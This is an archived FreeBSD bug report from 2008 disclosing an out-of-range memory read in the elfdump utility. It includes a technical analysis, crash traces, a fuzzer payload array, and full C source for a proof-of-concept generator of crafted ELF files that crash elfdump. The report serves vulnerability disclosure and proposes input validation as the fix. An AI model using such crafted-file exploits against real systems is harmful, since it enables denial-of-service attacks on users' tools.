From owner-freebsd-bugs@FreeBSD.ORG Tue Feb 12 18:10:03 2008 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6DE6616A420 for ; Tue, 12 Feb 2008 18:10:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 4A5AE13C4E3 for ; Tue, 12 Feb 2008 18:10:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.2/8.14.2) with ESMTP id m1CIA3tL061671 for ; Tue, 12 Feb 2008 18:10:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.2/8.14.1/Submit) id m1CIA3Qw061667; Tue, 12 Feb 2008 18:10:03 GMT (envelope-from gnats) Resent-Date: Tue, 12 Feb 2008 18:10:03 GMT Resent-Message-Id: <200802121810.m1CIA3Qw061667@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, David Reguera Garcia Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D341B16A417 for ; Tue, 12 Feb 2008 18:03:34 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id BDB2813C468 for ; Tue, 12 Feb 2008 18:03:34 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.2/8.14.2) with ESMTP id m1CI1Ijr001071 for ; Tue, 12 Feb 2008 18:01:18 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.2/8.14.1/Submit) id m1CI1Iki001070; Tue, 12 Feb 2008 18:01:18 GMT (envelope-from nobody) Message-Id: <200802121801.m1CI1Iki001070@www.freebsd.org> Date: Tue, 12 Feb 2008 18:01:18 GMT From: David Reguera Garcia To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: bin/120562: ELFdump crash when analyzing crafted ELF file. X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Feb 2008 18:10:03 -0000 >Number: 120562 >Category: bin >Synopsis: ELFdump crash when analyzing crafted ELF file. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Feb 12 18:10:02 UTC 2008 >Closed-Date: >Last-Modified: >Originator: David Reguera Garcia >Release: 5.5, 6.2, 6.3 >Organization: INTECO-CERT >Environment: >Description: __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $"); ---------------------------------------------------------- + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es + David Reguera Garcia - INTECO-CERT ---------------------------------------------------------- Advisory: ============================================================================ Software : elfdump Version : 1.12.8.2 2006/01/28 18:40:55 Author : Jake Burkholder Remote : NO Execution of code : NO Privilege scalation : NO Discovered by : INTECO-CERT - David Reguera Garcia Exploit by : INTECO-CERT - David Reguera Garcia Description : When elfdump analyzes an "evil" elf, the application crashes and causes a Segmentation fault: 11 Affected OS: - FreeBSD: - 5.5 - TESTED AND FOUND - 6.2 - TESTED AND FOUND - 6.3 - TESTED AND FOUND - Maybe others, the elfdump utility first appeared in FreeBSD 5.0 Techninal information: ---------------------------------------------------------------------------- The problem resides in the use of le32dec, be32dec ... without validate the input address. Explotation ---------------------------------------------------------------------------- An example of this explotation can be the following: In the main function we can find the following call: offset = elf_get_off(e, (char *)sh + shstrndx * shentsize, SH_OFFSET); sh: mapped area with the evil ELF + e_shoff (offset of the section header). e_shoff, shstrndx and shentsize are used directly from the mapped ELF. What is the problem? elf_get_off, not verifies if the address is out of range. If we use e_shoff in ELF out of range, the application may crash: #define elf_get_off elf_get_quad u_int64_t elf_get_quad(Elf32_Ehdr *e, void *base, elf_member_t member) { u_int64_t val; val = 0; switch (e->e_ident[EI_CLASS]) { case ELFCLASS32: base = (char *)base + elf32_offsets[member]; switch (e->e_ident[EI_DATA]) { case ELFDATA2MSB: val = be32dec(base); break; case ELFDATA2LSB: val = le32dec(base); break; case ELFDATANONE: errx(1, "invalid data format"); ..... When does it crash? It is easy, for example an ELF with e_ident[EI_CLASS] is ELFCLASS32 and e_ident[EI_DATA] is ELFDATA2LSB, then it executes: val = le32dec(base); le32dec is this inline function: static __inline uint32_t le32dec(const void *pp) { unsigned char const *p = (unsigned char const *)pp; return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | p[0]); } This function accesses the memory values of pp, if pp is not a readable address the application crashes with Segmentation fault: 11 In other words, if we create an evil ELF with an evil e_shoff the application crashes. (Also it is possible to create evil shstrndx, shentsize ...) I create a POC exploit which creates an evil ELF to crash elfdump. In this exploit the values of shstrndx and shentsize are filled with 0 for simplicity. Compile & execute: [Dreg@ ~/vuln]# gcc -pedantic -ansi-c -o xpl xpl.c [Dreg@ ~/vuln]# ./xpl -f pocdump && echo "-" && \ echo " Executing elfdump....:" && elfdump -a pocdump __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $"); ---------------------------------------------------------- + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es + David Reguera Garcia - INTECO-CERT ---------------------------------------------------------- Note: run it with -h parameter to show help. Evil ELF written using e_shoff: 16777215, at: pocdump Now, try elfdump -a pocdump - Executing elfdump....: Segmentation fault: 11 (core dumped) Low level area ============================================================================ The ASM code of le32dec is: loc_80488DC: movzx edx, byte ptr [ebx+3] movzx eax, byte ptr [ebx+2] shl eax, 10h shl edx, 18h or edx, eax movzx eax, byte ptr [ebx+1] shl eax, 8 or edx, eax movzx eax, byte ptr [ebx] If [EBX], [EBX+2], [EBX+3] or [EBX+1] are a memory non readable the application crashes. Note ============================================================================ This POC exploit may crash the application in some other memory address as well as 0x80488DC, for example: [Dreg@ ~/vuln]# ./xpl -o 20 -f petadump && echo "-" && \ echo " Executing elfdump....:" && elfdump -a petadump __FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $"); ---------------------------------------------------------- + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es + David Reguera Garcia - INTECO-CERT ---------------------------------------------------------- Note: run it with -h parameter to show help. Evil ELF written using e_shoff: 20, at: petadump Now, try: elfdump -a petadump - Executing elfdump....: elf header: Segmentation fault: 11 (core dumped) In this case the application crashes at 0x28132f4f: 0x28132f4f <__vfprintf+9727>: repnz scas %es:(%edi),%al This is caused by the following call in the elfdump.c file: fprintf(out, "\te_ident: %s %s %s\n", ei_classes[class], ei_data[data], ei_abis[osabi]); [Dreg@ ~/vuln]# gdb --core elfdump.core GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". Core was generated by `elfdump'. Program terminated with signal 11, Segmentation fault. #0 0x28132f4f in ?? () Greetings ============================================================================ For his help with the English translation: - Javier Berciano - Ana Hijosa Others ============================================================================ Payload generated by my ELF Fuzzer used to discover the bug: unsigned char payload[] = { 0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x39, 0x86, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xF0, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x06, 0x00, 0x28, 0x00, 0x18, 0x00, 0x15, 0x00, 0x06, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x34, 0x80, 0x04, 0x08, 0x34, 0x80, 0x04, 0x08, 0xC0, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08, 0xF4, 0x80, 0x04, 0x08, 0x15, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x51, 0x06, 0x00, 0x00, 0x51, 0x06, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3C, 0x16, 0x00, 0x00, 0x3C, 0x96, 0x04, 0x08, 0x3C, 0x96, 0x04, 0x08, 0xD8, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x16, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08, 0x4C, 0x96, 0x04, 0x08, 0x98, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0C, 0x11, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 0x0C, 0x81, 0x04, 0x08, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, } ; >How-To-Repeat: Use this exploit: /* gcc -ansi-c -pedantic -o xpl xpl.c */ #include #include #include #pragma pack(1) /* ELF DATA ---------------------------------------------------------------- */ #define ELFMAG "\177ELF" #define EI_NIDENT (16) #define ELFCLASS32 1 /* 32-bit architecture. */ #define ELFDATA2LSB 1 /* 2's complement little-endian. */ #define EI_CLASS 4 /* Class of machine. */ #define EI_DATA 5 /* Data format. */ typedef signed char int8_t; typedef unsigned char uint8_t; typedef short int16_t; typedef unsigned short uint16_t; typedef int int32_t; typedef unsigned uint32_t; typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Off; typedef uint16_t Elf32_Half; /* Types for signed and unsigned 32-bit quantities. */ typedef uint32_t Elf32_Word; typedef int32_t Elf32_Sword; typedef uint32_t Elf64_Word; typedef int32_t Elf64_Sword; typedef struct { unsigned char e_ident[EI_NIDENT]; /* File identification. */ Elf32_Half e_type; /* File type. */ Elf32_Half e_machine; /* Machine architecture. */ Elf32_Word e_version; /* ELF format version. */ Elf32_Addr e_entry; /* Entry point. */ Elf32_Off e_phoff; /* Program header file offset. */ Elf32_Off e_shoff; /* Section header file offset. */ Elf32_Word e_flags; /* Architecture-specific flags. */ Elf32_Half e_ehsize; /* Size of ELF header in bytes. */ Elf32_Half e_phentsize; /* Size of program header entry. */ Elf32_Half e_phnum; /* Number of program header entries. */ Elf32_Half e_shentsize; /* Size of section header entry. */ Elf32_Half e_shnum; /* Number of section header entries. */ Elf32_Half e_shstrndx; /* Section name strings section. */ } Elf32_Ehdr; /* -------------------------------------------------------------------------- */ /* EXPLOIT HEADER ----------------------------------------------------------- */ #define MIN_ARGS 2 #define NR_FILE 1 #define NR_OFFSET_SHDR 2 #define DEFAULT_FILE_DUMP "elfdump_segfault" #define DEFAULT_SHDR_OFFSET 0xFFFFFF #define VALUE_FILL_HEADER 0x00 typedef enum BOOL_e { FALSE = 0, TRUE } BOOL_t; int exploit( const int, const char * const[] ); int _exploit( const char * const, FILE * const, Elf32_Off ); int GetArgs ( const int , const char * const[] , const char ** , Elf32_Off * const , BOOL_t * const ); void ShowHelp( void ); /* -------------------------------------------------------------------------- */ /* EXPLOIT SOURCE ----------------------------------------------------------- */ int main( int argc, char * argv[] ) { int returnf; returnf = exploit( argc, (const char ** const) argv ); return returnf; } int exploit( const int argc, const char * const argv[] ) { const char * file_dump_name; FILE * file_dump_desc; int returnf; Elf32_Off offset_shdr; BOOL_t help; printf ( "\n" " __FBSDID(\"$FreeBSD: src/usr.bin/elfdump/elfdump.c,\n" " v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $\");\n" " ----------------------------------------------------------\n" " + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es\n" " + David Reguera Garcia - INTECO-CERT\n" " ----------------------------------------------------------\n" " Note: run it with -h parameter to show help.\n" "\n" ); if ( GetArgs( argc, argv, & file_dump_name, & offset_shdr, & help ) == -1 ) return -1; if ( help == TRUE ) { ShowHelp(); return -1; } if ( file_dump_name == NULL ) file_dump_name = DEFAULT_FILE_DUMP; if ( offset_shdr == 0 ) offset_shdr = DEFAULT_SHDR_OFFSET; file_dump_desc = fopen( file_dump_name, "wb" ); if ( file_dump_desc == NULL ) { perror( " Error: Creating evil ELF" ); return -1; } returnf = _exploit( file_dump_name, file_dump_desc, offset_shdr ); fclose( file_dump_desc ); return returnf; } int _exploit ( const char * const file_dump_name , FILE * const file_dump_desc , Elf32_Off offset_shdr ) { Elf32_Ehdr payload; memset( & payload, VALUE_FILL_HEADER, sizeof( payload ) ); memcpy( payload.e_ident, ELFMAG, sizeof( payload.e_ident ) ); payload.e_ident[EI_CLASS] = ELFCLASS32; payload.e_ident[EI_DATA] = ELFDATA2LSB; payload.e_shoff = offset_shdr; if ( fwrite( & payload, sizeof( payload ), 1, file_dump_desc ) != 1 ) { printf( " Error: Writting evil ELF" ); return -1; } else { printf ( " Evil ELF written using e_shoff: %u, at: %s\n" " Now, try: elfdump -a %s\n" , offset_shdr, file_dump_name, file_dump_name ); } return 0; } int GetArgs ( const int argc , const char * const argv[] , const char ** file_dump_name , Elf32_Off * const offset_shdr , BOOL_t * const help ) { const char * actual_param; int i; * file_dump_name = NULL; * offset_shdr = 0; i = 1; * help = FALSE; while ( ( i < argc ) && ( * help == FALSE ) ) { if ( strcmp( argv[i], "-h" ) == 0 ) * help = TRUE; else if ( i + 1 < argc ) { actual_param = argv[i + 1]; if ( strcmp( argv[i], "-f" ) == 0 ) * file_dump_name = actual_param; else if ( strcmp( argv[i], "-o" ) == 0 ) * offset_shdr = atoi( actual_param ); } i++; } return 0; } void ShowHelp( void ) { /* I divide it in two calls, because: warning: string length `706' is greater than the length `509' ISO C89 compilers are required to support */ puts ( " Usage: program [-h|-f,-o]\n" " -h: Show help.\n" " -f: File to dump the evil ELF. [OPTIONAL]\n" " -o: e_shoff value of the evil ELF.[OPTIONAL]\n" "\n" " The value of e_shoff + mmap of the elfdump must be a non readable\n" " address: MOVZX EAX, BYTE PTR [EBX]:\n" " EBX = (e_shoff + mmap) + (shstrndx * shentsize)\n" " -\n" " In this exploit the value of shstrndx and shentsize are filled \n" " with 0 for simplicity:\n" " EBX = (e_shoff + mmap) + (0 * 0)\n" " EBX = (e_shoff + mmap)\n" ); printf ( " And we can control the value of e_shoff with -o param.\n" " -\n" " Default values:\n" " -f: %s\n" " -o: %d\n" " -\n" " Example of usage:\n" " program -o 10000 -f evil_elf10000\n" " -\n" " [Dreg@ ~/vuln]# elfdump -a evil_elf10000\n" " Segmentation fault: 11 (core dumped)\n" "\n" " Note: This POC exploit may crash the application in some other \n" " memory address as well as 0x80488DC, for example inside\n" " fprintf\n" "\n" , DEFAULT_FILE_DUMP , DEFAULT_SHDR_OFFSET ); } /* -------------------------------------------------------------------------- */ /* EOF */ >Fix: Input validation of ELF header fields, before using them to read memory address values. >Release-Note: >Audit-Trail: >Unformatted: